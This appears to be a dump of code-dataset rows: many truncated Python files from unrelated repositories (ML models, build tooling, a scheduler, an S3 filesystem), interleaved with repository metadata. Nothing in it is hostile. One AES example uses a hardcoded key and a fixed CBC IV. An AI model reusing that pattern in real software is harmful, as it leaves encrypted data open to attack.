] | 189 | 2018-01-11T17:14:18.000Z | 2022-03-28T17:30:11.000Z | sciencebeam_judge/utils/fuzzy.py | elifesciences/sciencebeam-judge | 357f1b4266674611b24371224468db268ed4574e | [
"MIT"
] | null | null | null | import logging
from typing import AnyStr, Callable
LOGGER = logging.getLogger(__name__)
T_IsJunkFunction = Callable[[AnyStr, int], bool]
EMPTY_MATCHING_BLOCKS = MatchingBlocks([])
| 29.451613 | 95 | 0.62103 | import logging
from typing import AnyStr, Callable, Iterable, List, Optional, Tuple
LOGGER = logging.getLogger(__name__)
T_IsJunkFunction = Callable[[AnyStr, int], bool]
class StringView:
def __init__(self, original_string: str, in_view: List[bool]):
self.original_string = original_string
sel... | 0 | 1,673 | 0 | 3,147 | 1,177 | 1,758 | 0 | 33 | 233 |
fc950b593505a95c7eb4c6d9b319b9c560f20f10 | 3,763 | py | Python | lib_pypy/_cffi_ssl/_cffi_src/utils.py | yxzoro/pypy | 6e47b3d3e5513d9639a21554963a6ace172ccfee | [
"Apache-2.0",
"OpenSSL"
] | 10 | 2018-12-18T18:04:28.000Z | 2021-04-23T07:31:13.000Z | lib_pypy/_cffi_ssl/_cffi_src/utils.py | yxzoro/pypy | 6e47b3d3e5513d9639a21554963a6ace172ccfee | [
"Apache-2.0",
"OpenSSL"
] | null | null | null | lib_pypy/_cffi_ssl/_cffi_src/utils.py | yxzoro/pypy | 6e47b3d3e5513d9639a21554963a6ace172ccfee | [
"Apache-2.0",
"OpenSSL"
] | 3 | 2019-06-22T14:16:57.000Z | 2021-12-29T22:04:42.000Z | # This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.
from __future__ import absolute_import, division, print_function
import sys
from distutils.ccompiler import new_compiler
from distutils.di... | 33.900901 | 79 | 0.662503 | # This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.
from __future__ import absolute_import, division, print_function
import sys
from distutils.ccompiler import new_compiler
from distutils.di... | 0 | 0 | 0 | 0 | 0 | 595 | 0 | -1 | 69 |
1aee3f2ab511244210373f62c8dcdbdfdb567918 | 3,531 | py | Python | tupan/integrator/sakura.py | ggf84/tupan | 67d3aa103d77248a04e8f112930ba7bdb55024b2 | [
"MIT"
] | 1 | 2016-06-12T19:43:51.000Z | 2016-06-12T19:43:51.000Z | tupan/integrator/sakura.py | ggf84/tupan | 67d3aa103d77248a04e8f112930ba7bdb55024b2 | [
"MIT"
] | 1 | 2021-09-24T13:28:57.000Z | 2021-09-24T13:28:57.000Z | tupan/integrator/sakura.py | ggf84/tupan | 67d3aa103d77248a04e8f112930ba7bdb55024b2 | [
"MIT"
] | 3 | 2015-11-03T15:35:31.000Z | 2021-03-02T17:41:27.000Z | # -*- coding: utf-8 -*-
#
"""
TODO.
"""
from __future__ import print_function, division
import logging
from ..lib import extensions
__all__ = ["Sakura"]
logger = logging.getLogger(__name__)
def sakura_step(ps, tau):
"""
"""
ps.rx += ps.vx * tau / 2
ps.ry += ps.vy * tau / 2
ps.rz += ps.vz *... | 21.662577 | 62 | 0.481167 | # -*- coding: utf-8 -*-
#
"""
TODO.
"""
from __future__ import print_function, division
import logging
from ..integrator import Base
from ..lib import extensions
from ..lib.utils.timing import decallmethods, timings
__all__ = ["Sakura"]
logger = logging.getLogger(__name__)
def sakura_step(ps, tau):
"""
... | 0 | 2,622 | 0 | 0 | 0 | 0 | 0 | 40 | 67 |
03380b9fc4bc2791f31e4a4be7f09ddd23a207d8 | 1,238 | py | Python | src/python/serif/model/impl/event_mention/eat_event_mention_model.py | BBN-E/text-open | c508f6caeaa51a43cdb0bc27d8ed77e5750fdda9 | [
"Apache-2.0"
] | 2 | 2022-03-24T14:37:51.000Z | 2022-03-24T19:56:45.000Z | src/python/serif/model/impl/event_mention/eat_event_mention_model.py | BBN-E/text-open | c508f6caeaa51a43cdb0bc27d8ed77e5750fdda9 | [
"Apache-2.0"
] | null | null | null | src/python/serif/model/impl/event_mention/eat_event_mention_model.py | BBN-E/text-open | c508f6caeaa51a43cdb0bc27d8ed77e5750fdda9 | [
"Apache-2.0"
] | null | null | null |
# Modified from DummyEventMentionModel
| 38.6875 | 76 | 0.630048 | from serif.model.event_mention_model import EventMentionModel
# Modified from DummyEventMentionModel
class EatEventMentionModel(EventMentionModel):
def __init__(self,**kwargs):
super(EatEventMentionModel,self).__init__(**kwargs)
def get_event_mention_info(self, sentence):
# Create an EventMen... | 0 | 0 | 0 | 1,113 | 0 | 0 | 0 | 40 | 44 |
165f9269e37cdf991334a589b6a3a94353b51f85 | 1,401 | py | Python | chrome/installer/linux/debian/lint_package.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 14,668 | 2015-01-01T01:57:10.000Z | 2022-03-31T23:33:32.000Z | chrome/installer/linux/debian/lint_package.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | chrome/installer/linux/debian/lint_package.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 5,941 | 2015-01-02T11:32:21.000Z | 2022-03-31T16:35:46.000Z | #!/usr/bin/env python
# Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Performs some static analysis checks on Chrome debian packages
using lintian.
"""
import argparse
import os
import subprocess
SUP... | 28.591837 | 72 | 0.710921 | #!/usr/bin/env python
# Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Performs some static analysis checks on Chrome debian packages
using lintian.
"""
import argparse
import os
import subprocess
SUP... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
3394d0d604868b37054722470e6cda2033718cb5 | 898 | py | Python | scripts/mlp_functional_api.py | sanikamal/awesome-dl-examples | 1e7ef5fc879dd6c1c659bb74ba45963a036e9dcd | [
"MIT"
] | null | null | null | scripts/mlp_functional_api.py | sanikamal/awesome-dl-examples | 1e7ef5fc879dd6c1c659bb74ba45963a036e9dcd | [
"MIT"
] | null | null | null | scripts/mlp_functional_api.py | sanikamal/awesome-dl-examples | 1e7ef5fc879dd6c1c659bb74ba45963a036e9dcd | [
"MIT"
] | null | null | null | """
Multilayer Perceptron model for binary classification.
The model has 10 inputs, 3 hidden layers with 10, 20, and 10 neurons,and an output layer with 1 output.
Rectified linear activation functions are used in each hidden layer
and a sigmoid activation function is used in the output layer,for binary classificatio... | 35.92 | 103 | 0.771715 | """
Multilayer Perceptron model for binary classification.
The model has 10 inputs, 3 hidden layers with 10, 20, and 10 neurons,and an output layer with 1 output.
Rectified linear activation functions are used in each hidden layer
and a sigmoid activation function is used in the output layer,for binary classificatio... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | 23 |
f8b325c42287a9461b7a0d381cfcfa2fe0c14536 | 764 | py | Python | src/scratch-scripts/feature-extraction.py | kanazashi-s/pytorch-faster-rcnn-from-scratch- | 4a482dcda30c10e609468251dd0222d27718b9b1 | [
"MIT"
] | null | null | null | src/scratch-scripts/feature-extraction.py | kanazashi-s/pytorch-faster-rcnn-from-scratch- | 4a482dcda30c10e609468251dd0222d27718b9b1 | [
"MIT"
] | null | null | null | src/scratch-scripts/feature-extraction.py | kanazashi-s/pytorch-faster-rcnn-from-scratch- | 4a482dcda30c10e609468251dd0222d27718b9b1 | [
"MIT"
] | null | null | null | #%%
#
import torch
import torch.nn as nn
image = torch.zeros((1, 3, 800, 800)).float()
bbox = torch.FloatTensor([[20, 30, 400, 500], [300, 400, 500, 600]]) # [y1, x1, y2, x2] format
labels = torch.LongTensor([6, 8]) # 0 represents background
sub_sample = 16
#%%
# VGG16
# VGG16 800//16 = 50
import torchvision
d... | 22.470588 | 94 | 0.683246 | #%%
# 画像・バウンディングボックス・ラベルのセットを準備する
import torch
import torch.nn as nn
image = torch.zeros((1, 3, 800, 800)).float()
bbox = torch.FloatTensor([[20, 30, 400, 500], [300, 400, 500, 600]]) # [y1, x1, y2, x2] format
labels = torch.LongTensor([6, 8]) # 0 represents background
sub_sample = 16
#%%
# VGG16を、バックボーンに使用する
# VG... | 222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
63cf1de58478f20d0e49a8733ad3d5d780a783fb | 6,386 | py | Python | codes/python/3-neural_networks/convolutional-neural-network/cnn_cifar10.py | jswanglp/TensorFlow-Course | d40faf3f86af8edc3b8181e17d7101ab928a1135 | [
"MIT"
] | null | null | null | codes/python/3-neural_networks/convolutional-neural-network/cnn_cifar10.py | jswanglp/TensorFlow-Course | d40faf3f86af8edc3b8181e17d7101ab928a1135 | [
"MIT"
] | null | null | null | codes/python/3-neural_networks/convolutional-neural-network/cnn_cifar10.py | jswanglp/TensorFlow-Course | d40faf3f86af8edc3b8181e17d7101ab928a1135 | [
"MIT"
] | null | null | null | #@title datasets_tutorials(cifar-10) { display-mode: "both" }
# conding: utf-8
import tensorflow as tf
# from functools import reduce
import tensorflow_datasets as tfds
import numpy as np
import time
# tf.logging.set_verbosity(tf.logging.ERROR)
if __name__ == '__main__':
# filepath = '/content/GoogleDrive/Python... | 54.118644 | 126 | 0.595521 | #@title datasets_tutorials(cifar-10) { display-mode: "both" }
# conding: utf-8
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
# from functools import reduce
import tensorflow_datasets as tfds
import numpy as np
import time
def format_tran(tfdata, batch_size=32):
batch_tfdata = t... | 0 | 0 | 0 | 0 | 0 | 241 | 0 | 37 | 45 |
fd159e5b7be13647139239dadc5e344afd11ffea | 1,211 | py | Python | monsters.py | ElijahZAwesome/Monster-Wiki-Bot | 7c343228090ee98347d5575ac7a253a38e4d8f98 | [
"MIT"
] | null | null | null | monsters.py | ElijahZAwesome/Monster-Wiki-Bot | 7c343228090ee98347d5575ac7a253a38e4d8f98 | [
"MIT"
] | null | null | null | monsters.py | ElijahZAwesome/Monster-Wiki-Bot | 7c343228090ee98347d5575ac7a253a38e4d8f98 | [
"MIT"
] | null | null | null | #Declaring vars goes like this:
#
#in the file, all ya gotta do is specify
#
#<monster>_<info> = "value"
#
#info can be:
#
#size
#hitpoints
#speed
#strength
#dexterity
#constitution
#intelligence
#wisdom
#charisma
#senses
#language
#challenge
#dice
#initiative
#armor
#baseattack
#attack
#fullattack
#reach
#specialatta... | 26.326087 | 219 | 0.753097 | #Declaring vars goes like this:
#
#in the file, all ya gotta do is specify
#
#<monster>_<info> = "value"
#
#info can be:
#
#size
#hitpoints
#speed
#strength
#dexterity
#constitution
#intelligence
#wisdom
#charisma
#senses
#language
#challenge
#dice
#initiative
#armor
#baseattack
#attack
#fullattack
#reach
#specialatta... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
69fcdb91611709f74926d6ab00afefc9cdb17c0d | 11,536 | py | Python | src/python/twitter/common/java/attribute_info.py | zhouyijiaren/commons | 10df6fb63547baa9047782aa7ad4edf354914b10 | [
"Apache-2.0"
] | 1,143 | 2015-01-05T04:19:24.000Z | 2019-12-11T12:02:23.000Z | src/python/twitter/common/java/attribute_info.py | zhouyijiaren/commons | 10df6fb63547baa9047782aa7ad4edf354914b10 | [
"Apache-2.0"
] | 144 | 2015-01-06T05:05:07.000Z | 2019-12-12T18:02:37.000Z | src/python/twitter/common/java/attribute_info.py | zhouyijiaren/commons | 10df6fb63547baa9047782aa7ad4edf354914b10 | [
"Apache-2.0"
] | 426 | 2015-01-08T08:33:41.000Z | 2019-12-09T13:15:40.000Z | # ==================================================================================================
# Copyright 2011 Twitter, Inc.
# --------------------------------------------------------------------------------------------------
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use thi... | 30.357895 | 100 | 0.663835 | # ==================================================================================================
# Copyright 2011 Twitter, Inc.
# --------------------------------------------------------------------------------------------------
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use thi... | 0 | 657 | 0 | 9,667 | 0 | 0 | 0 | 16 | 296 |
55431168e1c8c9a42b9829883906423b49c14f48 | 486 | py | Python | pyaes.py | shanyuanqiao/crypto-pkcs7-example | 4940144deb63d4ab52df20e69119610a94254893 | [
"blessing"
] | 28 | 2015-03-11T05:24:08.000Z | 2022-01-21T21:26:03.000Z | pyaes.py | shanyuanqiao/crypto-pkcs7-example | 4940144deb63d4ab52df20e69119610a94254893 | [
"blessing"
] | 1 | 2016-01-31T23:22:18.000Z | 2016-01-31T23:22:18.000Z | pyaes.py | shanyuanqiao/crypto-pkcs7-example | 4940144deb63d4ab52df20e69119610a94254893 | [
"blessing"
] | 17 | 2015-03-27T08:30:33.000Z | 2019-07-13T08:30:10.000Z | from Crypto.Cipher import AES
from pkcs7 import PKCS7Encoder
import base64
key = 'your key 16bytes'
# 16 byte initialization vector
iv = '1234567812345678'
aes = AES.new(key, AES.MODE_CBC, iv)
encoder = PKCS7Encoder()
text = 'This is my plain text'
# pad the plain text according to PKCS7
pad_text = encoder.encode(t... | 21.130435 | 45 | 0.769547 | from Crypto.Cipher import AES
from pkcs7 import PKCS7Encoder
import base64
key = 'your key 16bytes'
# 16 byte initialization vector
iv = '1234567812345678'
aes = AES.new(key, AES.MODE_CBC, iv)
encoder = PKCS7Encoder()
text = 'This is my plain text'
# pad the plain text according to PKCS7
pad_text = encoder.encode(t... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
c55c8fe7e817243e22b1a5e3ece75a4d62cad57e | 1,554 | py | Python | neuralnet_pytorch/__init__.py | justanhduc/neuralnet-pytorch | cbb0c5a540a0ba91cb4dd20684bb00692305d193 | [
"MIT"
] | 28 | 2019-01-07T04:07:55.000Z | 2021-11-09T15:16:11.000Z | neuralnet_pytorch/__init__.py | justanhduc/neuralnet-pytorch | cbb0c5a540a0ba91cb4dd20684bb00692305d193 | [
"MIT"
] | 9 | 2019-12-25T08:00:33.000Z | 2021-11-23T09:02:34.000Z | neuralnet_pytorch/__init__.py | justanhduc/neuralnet-pytorch | cbb0c5a540a0ba91cb4dd20684bb00692305d193 | [
"MIT"
] | 3 | 2020-08-07T12:49:05.000Z | 2022-03-07T21:32:39.000Z | from __future__ import print_function
minimum_required = '1.0.0'
# Ensure Pytorch is importable and its version is sufficiently recent. This
# needs to happen before anything else, since the imports below will try to
# import Pytorch, too.
def _ensure_pt_install(): # pylint: disable=g-statement-before-imports
"... | 27.75 | 81 | 0.721364 | from __future__ import print_function
minimum_required = '1.0.0'
# Ensure Pytorch is importable and its version is sufficiently recent. This
# needs to happen before anything else, since the imports below will try to
# import Pytorch, too.
def _ensure_pt_install(): # pylint: disable=g-statement-before-imports
"... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 68 | 156 |
4a38c0dcd17b7655c6608474cd12a6bc89ea440d | 3,482 | py | Python | python/chemiscope/main.py | Luthaf/chemiscope | 4d40f587c05b7fdd546444134ab15bd80ad237ff | [
"BSD-3-Clause"
] | null | null | null | python/chemiscope/main.py | Luthaf/chemiscope | 4d40f587c05b7fdd546444134ab15bd80ad237ff | [
"BSD-3-Clause"
] | null | null | null | python/chemiscope/main.py | Luthaf/chemiscope | 4d40f587c05b7fdd546444134ab15bd80ad237ff | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from .input import write_input
def main():
"""
Command-line utility to generate an input for chemiscope the interactive
structure-property explorer. Parses an input file containing atomic
structures using the ASE I/O module, and converts it into a JSON f... | 32.240741 | 85 | 0.631534 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from .input import write_input
def main():
"""
Command-line utility to generate an input for chemiscope — the interactive
structure-property explorer. Parses an input file containing atomic
structures using the ASE I/O module, and converts it into a JSON ... | 3 | 0 | 0 | 0 | 0 | 65 | 0 | 0 | 26 |
080538794e45ef5bbfa6060102fca96fc9120d38 | 7,410 | py | Python | FunTaxaCount/src/funtaxacount.py | PNNL-CompBio/kansas-native-prairie | 40e24da4b0b89d7a568b0c4c8d94a3f6da3ea766 | [
"BSD-3-Clause"
] | null | null | null | FunTaxaCount/src/funtaxacount.py | PNNL-CompBio/kansas-native-prairie | 40e24da4b0b89d7a568b0c4c8d94a3f6da3ea766 | [
"BSD-3-Clause"
] | null | null | null | FunTaxaCount/src/funtaxacount.py | PNNL-CompBio/kansas-native-prairie | 40e24da4b0b89d7a568b0c4c8d94a3f6da3ea766 | [
"BSD-3-Clause"
] | null | null | null | import pandas as pd
orf_names = ['ORF_ID', 'Contig', 'COG', 'KO'] #, 'product']
def merge_orf_and_funtax( orf_file, funtax_file ):
"""
Takes an orf file and a funtaxa file and returns the merge
"""
orf_df = pd.read_table(orf_file, header=None, names=orf_names, index_col='ORF_ID', usecols=orf_names, en... | 47.806452 | 156 | 0.652901 | import pandas as pd
import numpy as np
import argparse, sys, re
orf_names = ['ORF_ID', 'Contig', 'COG', 'KO'] #, 'product']
def merge_orf_and_funtax( orf_file, funtax_file ):
"""
Takes an orf file and a funtaxa file and returns the merge
"""
orf_df = pd.read_table(orf_file, header=None, names=orf_name... | 0 | 0 | 0 | 0 | 0 | 5,420 | 0 | 0 | 319 |
e6cd3d976574d61338e1d130ac3d717197a58ae5 | 1,873 | py | Python | tests/generators/ssz_generic/main.py | BenSchZA/eth2.0-specs | 1235e58a8db09efd058f31087d53d91b97b83011 | [
"CC0-1.0"
] | 1 | 2021-05-11T09:42:58.000Z | 2021-05-11T09:42:58.000Z | tests/generators/ssz_generic/main.py | amaraka/eth2.0-specs | 1564f6217f50da6c74a815340de24ac62a26851b | [
"CC0-1.0"
] | null | null | null | tests/generators/ssz_generic/main.py | amaraka/eth2.0-specs | 1564f6217f50da6c74a815340de24ac62a26851b | [
"CC0-1.0"
] | null | null | null | from eth2spec.gen_helpers.gen_base import gen_runner
import ssz_basic_vector
import ssz_bitlist
import ssz_bitvector
import ssz_boolean
import ssz_uints
import ssz_container
if __name__ == "__main__":
gen_runner.run_generator("ssz_generic", [
create_provider("basic_vector", "valid", ssz_basic_vector.vali... | 40.717391 | 95 | 0.70315 | from typing import Iterable
from eth2spec.gen_helpers.gen_base import gen_runner, gen_typing
import ssz_basic_vector
import ssz_bitlist
import ssz_bitvector
import ssz_boolean
import ssz_uints
import ssz_container
from eth2spec.test.helpers.constants import PHASE0
def create_provider(handler_name: str, suite_name: st... | 0 | 0 | 0 | 0 | 608 | 0 | 0 | 47 | 67 |
1be4a2d461562127f4eacd1e1f8cade75021cbaf | 3,718 | py | Python | slice_subnet_mapper/slice_subnet_mapper.py | INSPIRE-5Gplus/i5p-netslice-mgr | c5cefabfa6ce20a6c94519eb5b1778583f82ac73 | [
"Apache-2.0"
] | null | null | null | slice_subnet_mapper/slice_subnet_mapper.py | INSPIRE-5Gplus/i5p-netslice-mgr | c5cefabfa6ce20a6c94519eb5b1778583f82ac73 | [
"Apache-2.0"
] | 2 | 2021-08-25T13:54:03.000Z | 2021-08-25T14:20:06.000Z | slice_subnet_mapper/slice_subnet_mapper.py | INSPIRE-5Gplus/i5p-netslice-mgr | c5cefabfa6ce20a6c94519eb5b1778583f82ac73 | [
"Apache-2.0"
] | null | null | null | #!/usr/local/bin/python3.4
#### NETWORK SLICE MANAGER/NFVO URL
JSON_CONTENT_HEADER = {'Content-Type':'application/json'}
#### REQUESTS
# returns all the slice-subnets templates in the NSM
# returns a specific slice-subnet template in the NSM
# returns all slice-subnet instances in the NSM
# returns specific slice... | 43.741176 | 124 | 0.733728 | #!/usr/local/bin/python3.4
import os, sys, logging, json, argparse, time, datetime, requests, uuid
from config_files import settings
#### NETWORK SLICE MANAGER/NFVO URL
JSON_CONTENT_HEADER = {'Content-Type':'application/json'}
def get_nsm_url():
nsm_ip = os.environ.get("NSM_IP")
nsm_port = os.environ.get("N... | 0 | 0 | 0 | 0 | 0 | 2,879 | 0 | 62 | 222 |
7c3036b10fff4b82c4b096c60d9c6b2baf89c51d | 6,483 | py | Python | rastervision/filesystem/s3_filesystem.py | ValRat/raster-vision | 90f4c5d99869466c65fa972fa8f08f68c1102820 | [
"Apache-2.0"
] | 4 | 2019-03-11T12:38:15.000Z | 2021-04-06T14:57:52.000Z | rastervision/filesystem/s3_filesystem.py | ValRat/raster-vision | 90f4c5d99869466c65fa972fa8f08f68c1102820 | [
"Apache-2.0"
] | null | null | null | rastervision/filesystem/s3_filesystem.py | ValRat/raster-vision | 90f4c5d99869466c65fa972fa8f08f68c1102820 | [
"Apache-2.0"
] | 1 | 2021-02-25T18:23:27.000Z | 2021-02-25T18:23:27.000Z |
# Code from https://alexwlchan.net/2017/07/listing-s3-keys/
| 32.742424 | 79 | 0.600956 | import io
import os
import subprocess
from datetime import datetime
from urllib.parse import urlparse
from rastervision.filesystem import (FileSystem, NotReadableError,
NotWritableError)
# Code from https://alexwlchan.net/2017/07/listing-s3-keys/
def get_matching_s3_objects(bucke... | 0 | 4,022 | 0 | 10 | 1,717 | 0 | 0 | 92 | 578 |
6121daeffe4f654f25b1707e220d87cce2b7e556 | 249 | py | Python | example/python/permissions/can_transfer.py | akshatkarani/iroha | 5acef9dd74720c6185360d951e9b11be4ef73260 | [
"Apache-2.0"
] | 1,467 | 2016-10-25T12:27:19.000Z | 2022-03-28T04:32:05.000Z | example/python/permissions/can_transfer.py | akshatkarani/iroha | 5acef9dd74720c6185360d951e9b11be4ef73260 | [
"Apache-2.0"
] | 2,366 | 2016-10-25T10:07:57.000Z | 2022-03-31T22:03:24.000Z | example/python/permissions/can_transfer.py | akshatkarani/iroha | 5acef9dd74720c6185360d951e9b11be4ef73260 | [
"Apache-2.0"
] | 662 | 2016-10-26T04:41:22.000Z | 2022-03-31T04:15:02.000Z | #
# Copyright Soramitsu Co., Ltd. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
#
# Please see example for can_receive permission.
# By design can_receive and can_transfer permissions
# can be tested only together.
| 22.636364 | 52 | 0.779116 | #
# Copyright Soramitsu Co., Ltd. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
#
import can_receive
# Please see example for can_receive permission.
# By design can_receive and can_transfer permissions
# can be tested only together.
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | -3 | 23 |
1a117e69ab35215f8f86142f15d32d060e0b9e3b | 1,232 | py | Python | cse481wi18/applications/scripts/head_demo.py | TimAdamson21/access_teleop | 4ca4cc3ebc29cb4942cec5c8e3e60b897b80590c | [
"MIT"
] | null | null | null | cse481wi18/applications/scripts/head_demo.py | TimAdamson21/access_teleop | 4ca4cc3ebc29cb4942cec5c8e3e60b897b80590c | [
"MIT"
] | null | null | null | cse481wi18/applications/scripts/head_demo.py | TimAdamson21/access_teleop | 4ca4cc3ebc29cb4942cec5c8e3e60b897b80590c | [
"MIT"
] | null | null | null | #! /usr/bin/env python
import rospy
def wait_for_time():
"""Wait for simulated time to begin.
"""
while rospy.Time().now().to_sec() == 0:
pass
if __name__ == '__main__':
main()
| 23.692308 | 75 | 0.578734 | #! /usr/bin/env python
import rospy
import fetch_api
def print_usage():
print 'Usage:'
print ' rosrun applications head_demo.py look_at FRAME_ID X Y Z'
print ' rosrun applications head_demo.py pan_tilt PAN_ANG TILT_ANG'
print 'Examples:'
print ' rosrun applications head_demo.py look_at b... | 0 | 0 | 0 | 0 | 0 | 961 | 0 | -5 | 68 |
7669c07f7d4e2bfe8db49af295ec775218fd092b | 1,806 | py | Python | tree.py | captaincapsaicin/castle | fd0a042b5ca2aa017cdbe69688595f771bae8f59 | [
"MIT"
] | null | null | null | tree.py | captaincapsaicin/castle | fd0a042b5ca2aa017cdbe69688595f771bae8f59 | [
"MIT"
] | 1 | 2017-11-25T00:35:40.000Z | 2017-11-25T00:35:40.000Z | tree.py | captaincapsaicin/castle | fd0a042b5ca2aa017cdbe69688595f771bae8f59 | [
"MIT"
] | null | null | null |
def create_new_connection(parent_node, child_node, action, prior_probability):
"""
Returns the edge connecting parent and child
"""
edge = Edge(parent_node, child_node, action, prior_probability)
parent_node.add_outgoing_edge(edge)
child_node.add_incoming_edge(edge)
return edge
| 31.137931 | 119 | 0.633444 | class Node(object):
def __init__(self, state, outgoing_edges=None, in_edge=None):
self.state = state
if outgoing_edges is not None:
self.outgoing_edges = outgoing_edges
else:
self.outgoing_edges = []
self.in_edge = in_edge
self.is_expanded = False
... | 0 | 134 | 0 | 1,317 | 0 | 0 | 0 | 0 | 45 |
4d325da1cd3ad6f9e3e55cc011c11ddb5f61afbf | 16,093 | py | Python | ioflo/base/skedding.py | BradyHammond/ioflo | 177ac656d7c4ff801aebb0d8b401db365a5248ce | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 128 | 2015-01-14T12:26:56.000Z | 2021-11-06T07:09:29.000Z | ioflo/base/skedding.py | BradyHammond/ioflo | 177ac656d7c4ff801aebb0d8b401db365a5248ce | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 17 | 2015-01-28T18:26:50.000Z | 2020-11-19T22:08:06.000Z | ioflo/base/skedding.py | BradyHammond/ioflo | 177ac656d7c4ff801aebb0d8b401db365a5248ce | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 29 | 2015-01-27T23:28:31.000Z | 2021-05-04T16:37:30.000Z | """skedding.py weightless thread scheduling
"""
#print( "module {0}".format(__name__))
from ..aid.consoling import getConsole
console = getConsole()
from . import tasking
from ..aid.consoling import getConsole
console = getConsole()
def Test(real = False, verbose = False):
"""Module Common self test
"""... | 37.600467 | 118 | 0.563723 | """skedding.py weightless thread scheduling
"""
#print( "module {0}".format(__name__))
import sys
import os
import time
from collections import deque
from ..aid.consoling import getConsole
console = getConsole()
from ..aid.sixing import *
from ..aid import odict, oset
from .globaling import *
from ..aid import t... | 0 | 0 | 0 | 13,470 | 0 | 0 | 0 | 18 | 314 |
6bbb09399af12973f203e06cfe0dab224ca66d09 | 6,549 | py | Python | fuel-package-updates.py | artem-panchenko/fuel-updates | 87abddfeae749ee81c58328410f842ccd9afe3dc | [
"Apache-2.0"
] | null | null | null | fuel-package-updates.py | artem-panchenko/fuel-updates | 87abddfeae749ee81c58328410f842ccd9afe3dc | [
"Apache-2.0"
] | null | null | null | fuel-package-updates.py | artem-panchenko/fuel-updates | 87abddfeae749ee81c58328410f842ccd9afe3dc | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | 37.210227 | 79 | 0.619331 | # Copyright 2015 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... | 0 | 0 | 0 | 266 | 0 | 5,198 | 0 | 14 | 360 |
59d5cdcca3e8dcc86bf49dbd3064cc9bfffae240 | 12,461 | py | Python | 11_networks-complite-05.py | Accioy/voice-singal-classification | b6744af9732fd38c41cf3cbf11c170a962cee6c7 | [
"MIT"
] | null | null | null | 11_networks-complite-05.py | Accioy/voice-singal-classification | b6744af9732fd38c41cf3cbf11c170a962cee6c7 | [
"MIT"
] | null | null | null | 11_networks-complite-05.py | Accioy/voice-singal-classification | b6744af9732fd38c41cf3cbf11c170a962cee6c7 | [
"MIT"
] | null | null | null | """
1
2
32d
4
5
6logs_loss
30084%
"""
import os
import matplotlib.pyplot as plt
# import skimage.io
import platform
import tensorflow as tf
os.environ["CUDA_VISIBLE_DEVICES"] = "1"
config = tf.ConfigProto()
config.gpu_options.allow_growth=True #,
session = tf.Session(... | 35.910663 | 133 | 0.609823 | """
技术要点:1、创建基于声谱图的卷积神经网络模型(十分类),本文件为第五版本
2、三种功能选择:训练并保存模型、评估模型、类别预测
3、三种训练方法:2d卷积、沿时间卷积、沿频率卷积
4、添加了绘制准确率和损失值变化曲线的代码;
5、注释掉早停法代码行;
6、模型训练回调函数改为logs_loss。
改进方面:音频预处理后再训练
运行结果:300轮训练后,准确率可达到84%
准确率和损失值曲线效果较好,其他曲线效果不佳
"""
import numpy as np
from scipy import signal
import sc... | 1,701 | 0 | 0 | 2,570 | 0 | 3,177 | 0 | 93 | 315 |
e25bf8be3fd6bade037eaf4f8cc3eb38deb9550a | 470 | py | Python | tests/fixtures/device.py | jspaaks/vak | 581ec4869d342e5d52bc057de54c10901f06d343 | [
"BSD-3-Clause"
] | 26 | 2019-03-04T20:08:57.000Z | 2022-01-22T13:40:00.000Z | tests/fixtures/device.py | jspaaks/vak | 581ec4869d342e5d52bc057de54c10901f06d343 | [
"BSD-3-Clause"
] | 379 | 2019-03-03T12:16:05.000Z | 2022-03-29T13:44:46.000Z | tests/fixtures/device.py | jspaaks/vak | 581ec4869d342e5d52bc057de54c10901f06d343 | [
"BSD-3-Clause"
] | 12 | 2019-11-22T21:19:19.000Z | 2022-03-14T17:44:59.000Z | import torch
DEVICES = ["cpu"]
if torch.cuda.is_available():
DEVICES.append("cuda")
| 24.736842 | 67 | 0.695745 | import pytest
import torch
DEVICES = ["cpu"]
if torch.cuda.is_available():
DEVICES.append("cuda")
@pytest.fixture(params=DEVICES)
def device(request):
"""parametrized device function,
that returns string names of the devices
that ``torch`` considers "available".
causes any test using ``device`` ... | 0 | 343 | 0 | 0 | 0 | 0 | 0 | -8 | 45 |